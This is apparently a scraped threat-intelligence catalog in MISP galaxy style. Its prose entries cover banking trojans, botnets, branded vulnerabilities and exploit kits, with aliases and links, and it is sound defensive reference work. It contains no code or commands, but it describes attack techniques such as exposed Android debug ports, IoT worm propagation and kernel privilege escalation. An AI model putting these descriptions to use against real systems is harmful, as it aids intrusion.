Since the end of May 2017, we have been monitoring a Monero miner that spreads using the EternalBlue Exploit (CVE-2017-0144). The miner itself, known as Smominru (aka Ismo) has been well-documented, so we will not discuss its post-infection behavior. However, the miner’s use of Windows Management Infrastructure is unusual among coin mining malware. The speed at which mining operations conduct mathematical operations to unlock new units of cryptocurrency is referred to as “hash power”. Based on the hash power associated with the Monero payment address for this operation, it appeared that this botnet was likely twice the size of Adylkuzz. The operators had already mined approximately 8,900 Monero (valued this week between $2.8M and $3.6M). Each day, the botnet mined roughly 24 Monero, worth an average of $8,500 this week.
Smominru is also known as:
-
Ismo
-
lsmo
Links |
DanaBot
It’s a Trojan that includes banking site web injections and stealer functions. It consists of a downloader component that downloads an encrypted file containing the main DLL. The DLL, in turn, connects using raw TCP connections to port 443 and downloads additional modules (i.e. VNCDLL.dll, StealerDLL.dll, ProxyDLL.dll)
Links |
https://www.proofpoint.com/us/threat-insight/post/danabot-new-banking-trojan-surfaces-down-under-0 |
Backswap
The banker is distributed through malicious email spam campaigns. Instead of using complex process injection methods to monitor browsing activity, the malware hooks key Windows message loop events in order to inspect values of the window objects for banking activity. The payload is delivered as a modified version of a legitimate application that is partially overwritten by the malicious payload
Links |
https://www.cert.pl/news/single/analiza-zlosliwego-oprogramowania-backswap/ |
https://www.welivesecurity.com/2018/05/25/backswap-malware-empty-bank-accounts/ |
Bebloh
Bebloh is also known as:
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URLZone
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Shiotob
Links |
https://www.symantec.com/security-center/writeup/2011-041411-0912-99 |
Banjori
Banjori is also known as:
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MultiBanker 2
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BankPatch
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BackPatcher
Links |
Qadars
Links |
https://www.countercept.com/our-thinking/decrypting-qadars-banking-trojan-c2-traffic/ |
Sisron
Links |
Ranbyus
Links |
Fobber
Links |
Karius
Trojan under development and already being distributed through the RIG Exploit Kit. Observed code similarities with other well-known bankers such as Ramnit, Vawtrak and TrickBot. Karius works in a rather traditional fashion to other banking malware and consists of three components (injector32\64.exe, proxy32\64.dll and mod32\64.dll), these components essentially work together to deploy webinjects in several browsers.
Links |
https://research.checkpoint.com/banking-trojans-development/ |
Kronos
Kronos was a type of banking malware first reported in 2014. It was sold for $7000. As of September 2015, a renew version was reconnecting with infected bots and sending them a brand new configuration file against U.K. banks and one bank in India. Similar to Zeus it was focused on stealing banking login credentials from browser sessions. A new version of this malware appears to have been used in 2018, the main difference is that the 2018 edition uses Tor-hosted C&C control panels.
Links |
https://www.bleepingcomputer.com/news/security/new-version-of-the-kronos-banking-trojan-discovered/ |
CamuBot
A newly discovered banking Trojan departs from the regular tactics observed by malware researchers by choosing visible installation and by adding social engineering components. CamuBot appeared last month in Brazil targeting companies and organizations from the public sector. The victim is the one installing the malware, at the instructions of a human operator that pretends to be a bank employee.
Botnet
botnet galaxy.
Botnet is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
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Various
ADB.miner
A new botnet appeared over the weekend, and it’s targeting Android devices by scanning for open debug ports so it can infect victims with malware that mines the Monero cryptocurrency.
The botnet came to life on Saturday, February 3, and is targeting port 5555, which on devices running the Android OS is the port used by the operating system’s native Android Debug Bridge (ADB), a debugging interface that grants access to some of the operating system’s most sensitive features.
Only devices running the Android OS have been infected until now, such as smartphones, smart TVs, and TV top boxes, according to security researchers from Qihoo 360’s Network Security Research Lab [Netlab] division, the ones who discovered the botnet, which the named ADB.miner.
Links |
https://www.bleepingcomputer.com/news/security/android-devices-targeted-by-new-monero-mining-botnet/ |
Bagle
Bagle (also known as Beagle) was a mass-mailing computer worm affecting Microsoft Windows. The first strain, Bagle.A, did not propagate widely. A second variant, Bagle.B, was considerably more virulent.
Bagle is also known as:
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Beagle
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Mitglieder
-
Lodeight
Links |
Marina Botnet
Around the same time Bagle was sending spam messages all over the world, the Marina Botnet quickly made a name for itself. With over 6 million bots pumping out spam emails every single day, it became apparent these “hacker tools” could get out of hand very quickly. At its peak, Marina Botnet delivered 92 billion spam emails per day.
Marina Botnet is also known as:
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Damon Briant
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BOB.dc
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Cotmonger
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Hacktool.Spammer
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Kraken
Links |
Torpig
Torpig, also known as Anserin or Sinowal is a type of botnet spread through systems compromised by the Mebroot rootkit by a variety of trojan horses for the purpose of collecting sensitive personal and corporate data such as bank account and credit card information. It targets computers that use Microsoft Windows, recruiting a network of zombies for the botnet. Torpig circumvents antivirus software through the use of rootkit technology and scans the infected system for credentials, accounts and passwords as well as potentially allowing attackers full access to the computer. It is also purportedly capable of modifying data hajimeon the computer, and can perform man-in-the-browser attacks.
Torpig is also known as:
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Sinowal
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Anserin
Links |
Storm
The Storm botnet or Storm worm botnet (also known as Dorf botnet and Ecard malware) is a remotely controlled network of "zombie" computers (or "botnet") that have been linked by the Storm Worm, a Trojan horse spread through e-mail spam. At its height in September 2007, the Storm botnet was running on anywhere from 1 million to 50 million computer systems, and accounted for 8% of all malware on Microsoft Windows computers. It was first identified around January 2007, having been distributed by email with subjects such as "230 dead as storm batters Europe," giving it its well-known name. The botnet began to decline in late 2007, and by mid-2008, had been reduced to infecting about 85,000 computers, far less than it had infected a year earlier.
Storm is also known as:
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Nuwar
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Peacomm
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Zhelatin
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Dorf
-
Ecard
Links |
Cutwail
The Cutwail botnet, founded around 2007, is a botnet mostly involved in sending spam e-mails. The bot is typically installed on infected machines by a Trojan component called Pushdo.] It affects computers running Microsoft Windows. related to: Wigon, Pushdo
Cutwail is also known as:
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Pandex
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Mutant
Links |
Akbot
Akbot was a computer virus that infected an estimated 1.3 million computers and added them to a botnet.
Links |
Srizbi
Srizbi BotNet, considered one of the world’s largest botnets, and responsible for sending out more than half of all the spam being sent by all the major botnets combined. The botnets consist of computers infected by the Srizbi trojan, which sent spam on command. Srizbi suffered a massive setback in November 2008 when hosting provider Janka Cartel was taken down; global spam volumes reduced up to 93% as a result of this action.
Srizbi is also known as:
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Cbeplay
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Exchanger
Links |
Lethic
The Lethic Botnet (initially discovered around 2008) is a botnet consisting of an estimated 210 000 - 310 000 individual machines which are mainly involved in pharmaceutical and replica spam. At the peak of its existence the botnet was responsible for 8-10% of all the spam sent worldwide.
Links |
Sality
Sality is the classification for a family of malicious software (malware), which infects files on Microsoft Windows systems. Sality was first discovered in 2003 and has advanced over the years to become a dynamic, enduring and full-featured form of malicious code. Systems infected with Sality may communicate over a peer-to-peer (P2P) network for the purpose of relaying spam, proxying of communications, exfiltrating sensitive data, compromising web servers and/or coordinating distributed computing tasks for the purpose of processing intensive tasks (e.g. password cracking). Since 2010, certain variants of Sality have also incorporated the use of rootkit functions as part of an ongoing evolution of the malware family. Because of its continued development and capabilities, Sality is considered to be one of the most complex and formidable forms of malware to date.
Sality is also known as:
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Sector
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Kuku
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Sality
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SalLoad
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Kookoo
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SaliCode
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Kukacka
Links |
Mariposa
The Mariposa botnet, discovered December 2008, is a botnet mainly involved in cyberscamming and denial-of-service attacks. Before the botnet itself was dismantled on 23 December 2009, it consisted of up to 12 million unique IP addresses or up to 1 million individual zombie computers infected with the "Butterfly (mariposa in Spanish) Bot", making it one of the largest known botnets.
Links |
Conficker
Conficker, also known as Downup, Downadup and Kido, is a computer worm targeting the Microsoft Windows operating system that was first detected in November 2008. It uses flaws in Windows OS software and dictionary attacks on administrator passwords to propagate while forming a botnet, and has been unusually difficult to counter because of its combined use of many advanced malware techniques. The Conficker worm infected millions of computers including government, business and home computers in over 190 countries, making it the largest known computer worm infection since the 2003 Welchia.
Conficker is also known as:
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DownUp
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DownAndUp
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DownAdUp
-
Kido
Links |
Waledac
Waledac, also known by its aliases Waled and Waledpak, was a botnet mostly involved in e-mail spam and malware. In March 2010 the botnet was taken down by Microsoft.
Waledac is also known as:
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Waled
-
Waledpak
Links |
Maazben
A new botnet, dubbed Maazben, has also been observed and is also growing rapidly. MessageLabs Intelligence has been tracking the growth of Maazben since its infancy in late May and early June. Its dominance in terms of the proportion of spam has been accelerating in the last 30 days from just over 0.5% of all spam, peaking at 4.5% of spam when it is most active. Currently spam from Maazben accounts for approximately 1.4% of all spam, but this is likely to increase significantly over time, particularly since both overall spam per minute sent and spam per bot per minute are increasing.
Links |
https://www.symantec.com/connect/blogs/evaluating-botnet-capacity |
Onewordsub
Links |
Gheg
Tofsee, also known as Gheg, is another botnet analyzed by CERT Polska. Its main job is to send spam, but it is able to do other tasks as well. It is possible thanks to the modular design of this malware – it consists of the main binary (the one user downloads and infects with), which later downloads several additional modules from the C2 server – they modify code by overwriting some of the called functions with their own. An example of some actions these modules perform is spreading by posting click-bait messages on Facebook and VKontakte (Russian social network).
Gheg is also known as:
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Tofsee
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Mondera
Links |
Nucrypt
Links |
https://www.botnets.fr/wiki.old/index.php?title=Nucrypt&setlang=en |
Wopla
Links |
Asprox
The Asprox botnet (discovered around 2008), also known by its aliases Badsrc and Aseljo, is a botnet mostly involved in phishing scams and performing SQL injections into websites in order to spread malware.
Asprox is also known as:
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Badsrc
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Aseljo
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Danmec
-
Hydraflux
Links |
Spamthru
Spam Thru represented an expontential jump in the level of sophistication and complexity of these botnets, harnessing a 70,000 strong peer to peer botnet seeded with the Spam Thru Trojan. Spam Thru is also known by the Aliases Backdoor.Win32.Agent.uu, Spam-DComServ and Troj_Agent.Bor. Spam Thru was unique because it had its own antivirus engine designed to remove any other malicious programs residing in the same infected host machine so that it can get unlimited access to the machine’s processing power as well as bandwidth. It also had the potential to be 10 times more productive than most other botnets while evading detection because of in-built defences.
Spamthru is also known as:
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Spam-DComServ
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Covesmer
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Xmiler
Links |
http://www.root777.com/security/analysis-of-spam-thru-botnet/ |
Gumblar
Gumblar is a malicious JavaScript trojan horse file that redirects a user’s Google searches, and then installs rogue security software. Also known as Troj/JSRedir-R this botnet first appeared in 2009.
Links |
BredoLab
The Bredolab botnet, also known by its alias Oficla, was a Russian botnet mostly involved in viral e-mail spam. Before the botnet was eventually dismantled in November 2010 through the seizure of its command and control servers, it was estimated to consist of millions of zombie computers.
BredoLab is also known as:
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Oficla
Links |
Grum
The Grum botnet, also known by its alias Tedroo and Reddyb, was a botnet mostly involved in sending pharmaceutical spam e-mails. Once the world’s largest botnet, Grum can be traced back to as early as 2008. At the time of its shutdown in July 2012, Grum was reportedly the world’s 3rd largest botnet, responsible for 18% of worldwide spam traffic.
Grum is also known as:
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Tedroo
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Reddyb
Links |
Mega-D
The Mega-D, also known by its alias of Ozdok, is a botnet that at its peak was responsible for sending 32% of spam worldwide.
Mega-D is also known as:
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Ozdok
Links |
Kraken
The Kraken botnet was the world’s largest botnet as of April 2008. Researchers say that Kraken infected machines in at least 50 of the Fortune 500 companies and grew to over 400,000 bots. It was estimated to send 9 billion spam messages per day. Kraken botnet malware may have been designed to evade anti-virus software, and employed techniques to stymie conventional anti-virus software.
Kraken is also known as:
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Kracken
Links |
Festi
The Festi botnet, also known by its alias of Spamnost, is a botnet mostly involved in email spam and denial of service attacks.
Festi is also known as:
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Spamnost
Links |
Vulcanbot
Vulcanbot is the name of a botnet predominantly spread in Vietnam, apparently with political motives. It is thought to have begun in late 2009.
Links |
TDL4
Alureon (also known as TDSS or TDL-4) is a trojan and bootkit created to steal data by intercepting a system’s network traffic and searching for: banking usernames and passwords, credit card data, PayPal information, social security numbers, and other sensitive user data. Following a series of customer complaints, Microsoft determined that Alureon caused a wave of BSoDs on some 32-bit Microsoft Windows systems. The update, MS10-015,triggered these crashes by breaking assumptions made by the malware author(s).
TDL4 is also known as:
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TDSS
-
Alureon
Links |
Zeus
Zeus, ZeuS, or Zbot is a Trojan horse malware package that runs on versions of Microsoft Windows. While it can be used to carry out many malicious and criminal tasks, it is often used to steal banking information by man-in-the-browser keystroke logging and form grabbing. It is also used to install the CryptoLocker ransomware. Zeus is spread mainly through drive-by downloads and phishing schemes. First identified in July 2007 when it was used to steal information from the United States Department of Transportation, it became more widespread in March 2009. In June 2009 security company Prevx discovered that Zeus had compromised over 74,000 FTP accounts on websites of such companies as the Bank of America, NASA, Monster.com, ABC, Oracle, Play.com, Cisco, Amazon, and BusinessWeek. Similarly to Koobface, Zeus has also been used to trick victims of tech support scams into giving the scam artists money through pop-up messages that claim the user has a virus, when in reality they might have no viruses at all. The scammers may use programs such as Command prompt or Event viewer to make the user believe that their computer is infected.
Zeus is also known as:
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Zbot
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ZeuS
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PRG
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Wsnpoem
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Gorhax
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Kneber
Links |
Kelihos
The Kelihos botnet, also known as Hlux, is a botnet mainly involved in spamming and the theft of bitcoins.
Kelihos is also known as:
-
Hlux
Links |
Ramnit
Ramnit is a Computer worm affecting Windows users. It was estimated that it infected 800 000 Windows PCs between September and December 2011. The Ramnit botnet was dismantled by Europol and Symantec securities in 2015. In 2015, this infection was estimated at 3 200 000 PCs.
Links |
Chameleon
The Chameleon botnet is a botnet that was discovered on February 28, 2013 by the security research firm, spider.io. It involved the infection of more than 120,000 computers and generated, on average, 6 million US dollars per month from advertising traffic. This traffic was generated on infected systems and looked to advertising parties as regular end users which browsed the Web, because of which it was seen as legitimate web traffic. The affected computers were all Windows PCs with the majority being private PCs (residential systems).
Links |
Mirai
Mirai (Japanese for "the future", 未来) is a malware that turns networked devices running Linux into remotely controlled "bots" that can be used as part of a botnet in large-scale network attacks. It primarily targets online consumer devices such as IP cameras and home routers. The Mirai botnet was first found in August 2016 by MalwareMustDie, a whitehat malware research group, and has been used in some of the largest and most disruptive distributed denial of service (DDoS) attacks, including an attack on 20 September 2016 on computer security journalist Brian Krebs’s web site, an attack on French web host OVH, and the October 2016 Dyn cyberattack.
Links |
XorDDoS
XOR DDOS is a Linux trojan used to perform large-scale DDoS
Links |
Satori
According to a report Li shared with Bleeping Computer today, the Mirai Satori variant is quite different from all previous pure Mirai variants.Previous Mirai versions infected IoT devices and then downloaded a Telnet scanner component that attempted to find other victims and infect them with the Mirai bot.The Satori variant does not use a scanner but uses two embedded exploits that will try to connect to remote devices on ports 37215 and 52869.Effectively, this makes Satori an IoT worm, being able to spread by itself without the need for separate components.
Satori is also known as:
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Okiru
Links |
https://blog.fortinet.com/2017/12/12/rise-of-one-more-mirai-worm-variant |
Hajime
Hajime (meaning ‘beginning’ in Japanese) is an IoT worm that was first mentioned on 16 October 2016 in a public report by RapidityNetworks. One month later we saw the first samples being uploaded from Spain to VT. This worm builds a huge P2P botnet (almost 300,000 devices at the time of publishing this blogpost), but its real purpose remains unknown. It is worth mentioning that in the past, the Hajime IoT botnet was never used for massive DDoS attacks, and its existance was a mystery for many researchers, as the botnet only gathered infected devices but almost never did anything with them (except scan for other vulnerable devices).
Links |
https://securelist.com/hajime-the-mysterious-evolving-botnet/78160/ |
Muhstik
The botnet is exploiting the CVE-2018-7600 vulnerability —also known as Drupalgeddon 2— to access a specific URL and gain the ability to execute commands on a server running the Drupal CMS. At the technical level, Netlab says Muhstik is built on top of Tsunami, a very old strain of malware that has been used for years to create botnets by infecting Linux servers and smart devices running Linux-based firmware. Crooks have used Tsunami initially for DDoS attacks, but its feature-set has greatly expanded after its source code leaked online. The Muhstik version of Tsunami, according to a Netlab report published today, can launch DDoS attacks, install the XMRig Monero miner, or install the CGMiner to mine Dash cryptocurrency on infected hosts. Muhstik operators are using these three payloads to make money via the infected hosts.
Links |
Hide and Seek
Security researchers have discovered the first IoT botnet malware strain that can survive device reboots and remain on infected devices after the initial compromise. This is a major game-changing moment in the realm of IoT and router malware. Until today, equipment owners could always remove IoT malware from their smart devices, modems, and routers by resetting the device. The reset operation flushed the device’s flash memory, where the device would keep all its working data, including IoT malware strains. But today, Bitdefender researchers announced they found an IoT malware strain that under certain circumstances copies itself to /etc/init.d/, a folder that houses daemon scripts on Linux-based operating systems —like the ones on routers and IoT devices. By placing itself in this menu, the device’s OS will automatically start the malware’s process after the next reboot.
Hide and Seek is also known as:
-
HNS
-
Hide 'N Seek
Links |
https://www.bleepingcomputer.com/news/security/new-hns-iot-botnet-has-already-amassed-14k-bots/ |
Mettle
Command-and-control panel and the scanner of this botnet is hosted on a server residing in Vietnam. Attackers have been utilizing an open-sourced Mettle attack module to implant malware on vulnerable routers.
Links |
https://thehackernews.com/2018/05/botnet-malware-hacking.html |
Owari
IoT botnet, Mirai variant that has added three exploits to its arsenal. After a successful exploit, this bot downloads its payload, Owari bot - another Mirai variant - or Omni bot. Author is called WICKED
Links |
https://www.fortinet.com/blog/threat-research/a-wicked-family-of-bots.html |
Brain Food
Brain Food is usually the second step in a chain of redirections, its PHP code is polymorphic and obfuscated with multiple layers of base64 encoding. Backdoor functionalities are also embedded in the code allowing remote execution of shell code on web servers which are configured to allow the PHP 'system' command.
Links |
Pontoeb
The bot gathers information from the infected system through WMI queries (SerialNumber, SystemDrive, operating system, processor architecture), which it then sends back to a remote attacker. It installs a backdoor giving an attacker the possibility to run command such as: download a file, update itself, visit a website and perform HTTP, SYN, UDP flooding
Pontoeb is also known as:
-
N0ise
Links |
http://dataprotectioncenter.com/general/are-you-beta-testing-malware/ |
Trik Spam Botnet
Trik Spam Botnet is also known as:
-
Trik Trojan
Links |
https://www.bleepingcomputer.com/news/security/trik-spam-botnet-leaks-43-million-email-addresses/ |
Pushdo
Links |
https://labs.bitdefender.com/2013/12/in-depth-analysis-of-pushdo-botnet/ |
Simda
Links |
Virut
Links |
Beebone
Links |
Bamital
Bamital is also known as:
-
Mdrop-CSK
-
Agent-OCF
Gafgyt
Linux.Gafgyt is a Trojan horse that opens a back door on the compromised computer and steals information. The new Gafgyt version targets a newly disclosed vulnerability affecting older, unsupported versions of SonicWall’s Global Management System (GMS).
Gafgyt is also known as:
-
Bashlite
Links |
https://www.symantec.com/security-center/writeup/2014-100222-5658-99 |
Sora
Big changes on the IoT malware scene. Security researchers have spotted a version of the Mirai IoT malware that can run on a vast range of architectures, and even on Android devices. This Mirai malware strain is called Sora, a strain that was first spotted at the start of the year.Initial versions were nothing out of the ordinary, and Sora’s original author soon moved on to developing the Mirai Owari version, shortly after Sora’s creation.
Sora is also known as:
-
Mirai Sora
Links |
Torii
we have been observing a new malware strain, which we call Torii, that differs from Mirai and other botnets we know of, particularly in the advanced techniques it uses. The developers of the botnet seek wide coverage and for this purpose they created binaries for multiple CPU architectures, tailoring the malware for stealth and persistence.
Links |
Persirai
A new Internet of Things (IoT) botnet called Persirai (Detected by Trend Micro as ELF_PERSIRAI.A) has been discovered targeting over 1,000 Internet Protocol (IP) Camera models based on various Original Equipment Manufacturer (OEM) products. This development comes on the heels of Mirai—an open-source backdoor malware that caused some of the most notable incidents of 2016 via Distributed Denial-of-Service (DDoS) attacks that compromised IoT devices such as Digital Video Recorders (DVRs) and CCTV cameras—as well as the Hajime botnet.
Links |
Branded Vulnerability
List of known vulnerabilities and attacks with a branding.
Branded Vulnerability is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Unknown
Meltdown
Meltdown exploits the out-of-order execution feature of modern processors, allowing user-level programs to access kernel memory using processor caches as covert side channels. This is specific to the way out-of-order execution is implemented in the processors. This vulnerability has been assigned CVE-2017-5754.
Spectre
Spectre exploits the speculative execution feature that is present in almost all processors in existence today. Two variants of Spectre are known and seem to depend on what is used to influence erroneous speculative execution. The first variant triggers speculative execution by performing a bounds check bypass and has been assigned CVE-2017-5753. The second variant uses branch target injection for the same effect and has been assigned CVE-2017-5715.
Heartbleed
Heartbleed is a security bug in the OpenSSL cryptography library, which is a widely used implementation of the Transport Layer Security (TLS) protocol. It was introduced into the software in 2012 and publicly disclosed in April 2014. Heartbleed may be exploited regardless of whether the vulnerable OpenSSL instance is running as a TLS server or client. It results from improper input validation (due to a missing bounds check) in the implementation of the TLS heartbeat extension, thus the bug’s name derives from heartbeat. The vulnerability is classified as a buffer over-read,[5] a situation where more data can be read than should be allowed.
Shellshock
Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.
Ghost
The GHOST vulnerability is a serious weakness in the Linux glibc library. It allows attackers to remotely take complete control of the victim system without having any prior knowledge of system credentials. CVE-2015-0235 has been assigned to this issue. During a code audit Qualys researchers discovered a buffer overflow in the __nss_hostname_digits_dots() function of glibc. This bug can be triggered both locally and remotely via all the gethostbyname*() functions. Applications have access to the DNS resolver primarily through the gethostbyname*() set of functions. These functions convert a hostname into an IP address.
Stagefright
Stagefright is the name given to a group of software bugs that affect versions 2.2 ("Froyo") and newer of the Android operating system. The name is taken from the affected library, which among other things, is used to unpack MMS messages. Exploitation of the bug allows an attacker to perform arbitrary operations on the victim’s device through remote code execution and privilege escalation. Security researchers demonstrate the bugs with a proof of concept that sends specially crafted MMS messages to the victim device and in most cases requires no end-user actions upon message reception to succeed—the user doesn’t have to do anything to ‘accept’ the bug, it happens in the background. The phone number is the only target information.
Badlock
Badlock is a security bug disclosed on April 12, 2016 affecting the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) remote protocols[1] supported by Windows and Samba servers.
Dirty COW
Dirty COW (Dirty copy-on-write) is a computer security vulnerability for the Linux kernel that affects all Linux-based operating systems including Android. It is a local privilege escalation bug that exploits a race condition in the implementation of the copy-on-write mechanism in the kernel’s memory-management subsystem. The vulnerability was discovered by Phil Oester. Because of the race condition, with the right timing, a local attacker can exploit the copy-on-write mechanism to turn a read-only mapping of a file into a writable mapping. Although it is a local privilege escalation, remote attackers can use it in conjunction with other exploits that allow remote execution of non-privileged code to achieve remote root access on a computer. The attack itself does not leave traces in the system log.
POODLE
The POODLE attack (which stands for "Padding Oracle On Downgraded Legacy Encryptio") is a man-in-the-middle exploit which takes advantage of Internet and security software clients' fallback to SSL 3.0. If attackers successfully exploit this vulnerability, on average, they only need to make 256 SSL 3.0 requests to reveal one byte of encrypted messages. Bodo Möller, Thai Duong and Krzysztof Kotowicz from the Google Security Team discovered this vulnerability; they disclosed the vulnerability publicly on October 14, 2014 (despite the paper being dated "September 2014" ). Ivan Ristic does not consider the POODLE attack as serious as the Heartbleed and Shellshock attacks. On December 8, 2014 a variation of the POODLE vulnerability that affected TLS was announced.
BadUSB
The ‘BadUSB’ vulnerability exploits unprotected firmware in order to deliver malicious code to computers and networks. This is achieved by reverse-engineering the device and reprogramming it. As the reprogrammed firmware is not monitored or assessed by modern security software, this attack method is extremely difficult for antivirus/security software to detect and prevent.
Blacknurse
Blacknurse is a low bandwidth DDoS attack involving ICMP Type 3 Code 3 packets causing high CPU loads first discovered in November 2016. The earliest samples we have seen supporting this DDoS method are from September 2017.
Cert EU GovSector
Cert EU GovSector.
Cert EU GovSector is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Various
Exploit-Kit
Exploit-Kit is an enumeration of some exploitation kits used by adversaries. The list includes document, browser and router exploit kits.It’s not meant to be totally exhaustive but aim at covering the most seen in the past 5 years.
Exploit-Kit is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Kafeine - Will Metcalf - KahuSecurity
Astrum
Astrum Exploit Kit is a private Exploit Kit used in massive scale malvertising campaigns. It’s notable by its use of Steganography
Astrum is also known as:
-
Stegano EK
Links |
Underminer
Underminer EK is an exploit kit that seems to be used privately against users in Asia. Functionalities: browser profiling and filtering, preventing of client revisits, URL randomization, and asymmetric encryption of payloads.
Underminer is also known as:
-
Underminer EK
Links |
Fallout
Fallout Exploit Kit appeared at the end of August 2018 as an updated Nuclear Pack featuring current exploits seen in competiting Exploit Kit.
Fallout is also known as:
-
Fallout
Links |
https://www.nao-sec.org/2018/09/hello-fallout-exploit-kit.html |
Bingo
Bingo EK is the name chosen by the defense for a Fiesta-ish EK first spotted in March 2017 and targetting at that times mostly Russia
Terror EK
Terror EK is built on Hunter, Sundown and RIG EK code
Terror EK is also known as:
-
Blaze EK
-
Neptune EK
Links |
https://www.trustwave.com/Resources/SpiderLabs-Blog/Terror-Exploit-Kit—More-like-Error-Exploit-Kit/ |
DealersChoice
DealersChoice is a Flash Player Exploit platform triggered by RTF.
DealersChoice is a platform that generates malicious documents containing embedded Adobe Flash files. Palo Alto Network researchers analyzed two variants — variant A, which is a standalone variant including Flash exploit code packaged with a payload, and variant B, which is a modular variant that loads exploit code on demand. This new component appeared in 2016 and is still in use.
DealersChoice is also known as:
-
Sednit RTF EK
Links |
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/ |
DNSChanger
DNSChanger Exploit Kit is an exploit kit targeting Routers via the browser
DNSChanger is also known as:
-
RouterEK
Links |
http://malware.dontneedcoffee.com/2015/05/an-exploit-kit-dedicated-to-csrf.html |
Disdain
Disdain EK has been introduced on underground forum on 2017-08-07. The panel is stolen from Sundown, the pattern are Terror alike and the obfuscation reminds Nebula
Links |
http://blog.trendmicro.com/trendlabs-security-intelligence/new-disdain-exploit-kit-detected-wild/ |
Kaixin
Kaixin is an exploit kit mainly seen behind compromised website in Asia
Kaixin is also known as:
-
CK vip
Links |
http://www.kahusecurity.com/2013/deobfuscating-the-ck-exploit-kit/ |
Magnitude
Magnitude EK
Magnitude is also known as:
-
Popads EK
-
TopExp
Links |
http://malware.dontneedcoffee.com/2014/02/and-real-name-of-magnitude-is.html |
MWI
Microsoft Word Intruder is an exploit kit focused on Word and embedded flash exploits. The author wants to avoid their customer to use it in mass spam campaign, so it’s most often connected to semi-targeted attacks
Links |
https://www.fireeye.com/blog/threat-research/2015/04/a_new_word_document.html |
ThreadKit
ThreadKit is the name given to a widely used Microsoft Office document exploit builder kit that appeared in June 2017
Links |
VenomKit
VenomKit is the name given to a kit sold since april 2017 as "Word 1day exploit builder" by user badbullzvenom. Author allows only use in targeted campaign. Is used for instance by the "Cobalt Gang"
Links |
[] |
RIG
RIG is an exploit kit that takes its source in Infinity EK itself an evolution of Redkit. It became dominant after the fall of Angler, Nuclear Pack and the end of public access to Neutrino. RIG-v is the name given to RIG 4 when it was only accessible by "vip" customers and when RIG 3 was still in use.
RIG is also known as:
-
RIG 3
-
RIG-v
-
RIG 4
-
Meadgive
Links |
http://malware.dontneedcoffee.com/2016/10/rig-evolves-neutrino-waves-goodbye.html |
Sednit EK
Sednit EK is the exploit kit used by APT28
Sednit EK is also known as:
-
SedKit
Links |
http://www.welivesecurity.com/2014/10/08/sednit-espionage-group-now-using-custom-exploit-kit/ |
Sundown-P
Sundown-P/Sundown-Pirate is a rip of Sundown seen used in a private way (One group using it only) - First spotted at the end of June 2017, branded as CaptainBlack in August 2017
Sundown-P is also known as:
-
Sundown-Pirate
-
CaptainBlack
Links |
Bizarro Sundown
Bizarro Sundown appears to be a fork of Sundown with added anti-analysis features
Bizarro Sundown is also known as:
-
Sundown-b
Links |
https://blog.malwarebytes.com/cybercrime/exploits/2016/10/yet-another-sundown-ek-variant/ |
Hunter
Hunter EK is an evolution of 3Ros EK
Hunter is also known as:
-
3ROS Exploit Kit
Links |
GreenFlash Sundown
GreenFlash Sundown is a variation of Bizarro Sundown without landing
GreenFlash Sundown is also known as:
-
Sundown-GF
Links |
Angler
The Angler Exploit Kit has been the most popular and evolved exploit kit from 2014 to middle of 2016. There was several variation. The historical "indexm" variant was used to spread Lurk. A vip version used notabily to spread Poweliks, the "standard" commercial version, and a declinaison tied to load selling (mostly bankers) that can be associated to EmpirePPC
Angler is also known as:
-
XXX
-
AEK
-
Axpergle
Archie
Archie EK
Links |
https://www.alienvault.com/blogs/labs-research/archie-just-another-exploit-kit |
BlackHole
The BlackHole Exploit Kit has been the most popular exploit kit from 2011 to 2013. Its activity stopped with Paunch’s arrest (all activity since then is anecdotal and based on an old leak)
BlackHole is also known as:
-
BHEK
Links |
https://www.trustwave.com/Resources/SpiderLabs-Blog/Blackhole-Exploit-Kit-v2/ |
https://nakedsecurity.sophos.com/exploring-the-blackhole-exploit-kit/ |
Bleeding Life
Bleeding Life is an exploit kit that became open source with its version 2
Bleeding Life is also known as:
-
BL
-
BL2
Links |
http://www.kahusecurity.com/2011/flash-used-in-idol-malvertisement/ |
http://thehackernews.com/2011/10/bleeding-life-2-exploit-pack-released.html |
Cool
The Cool Exploit Kit was a kind of BlackHole VIP in 2012/2013
Cool is also known as:
-
CEK
-
Styxy Cool
Links |
http://malware.dontneedcoffee.com/2013/07/a-styxy-cool-ek.html |
http://blog.trendmicro.com/trendlabs-security-intelligence/styx-exploit-pack-how-it-works/ |
Fiesta
Fiesta Exploit Kit
Fiesta is also known as:
-
NeoSploit
-
Fiexp
Links |
http://blog.0x3a.com/post/110052845124/an-in-depth-analysis-of-the-fiesta-exploit-kit-an |
Empire
The Empire Pack is a variation of RIG operated by a load seller. It’s being fed by many traffic actors
Empire is also known as:
-
RIG-E
Links |
http://malware.dontneedcoffee.com/2016/10/rig-evolves-neutrino-waves-goodbye.html |
FlashPack
FlashPack EK got multiple fork. The most common variant seen was the standalone Flash version
FlashPack is also known as:
-
FlashEK
-
SafePack
-
CritXPack
-
Vintage Pack
Links |
http://malware.dontneedcoffee.com/2012/11/meet-critxpack-previously-vintage-pack.html |
http://malware.dontneedcoffee.com/2013/04/meet-safe-pack-v20-again.html |
Glazunov
Glazunov is an exploit kit mainly seen behind compromised website in 2012 and 2013. Glazunov compromission is likely the ancestor activity of what became EITest in July 2014. Sibhost and Flimkit later shown similarities with this Exploit Kit
Links |
https://nakedsecurity.sophos.com/2013/06/24/taking-a-closer-look-at-the-glazunov-exploit-kit/ |
GrandSoft
GrandSoft Exploit Kit was a quite common exploit kit used in 2012/2013. Disappeared between march 2014 and September 2017
GrandSoft is also known as:
-
StampEK
-
SofosFO
HanJuan
Hanjuan EK was a one actor fed variation of Angler EK used in evolved malvertising chain targeting USA. It has been using a 0day (CVE-2015-0313) from beginning of December 2014 till beginning of February 2015
Links |
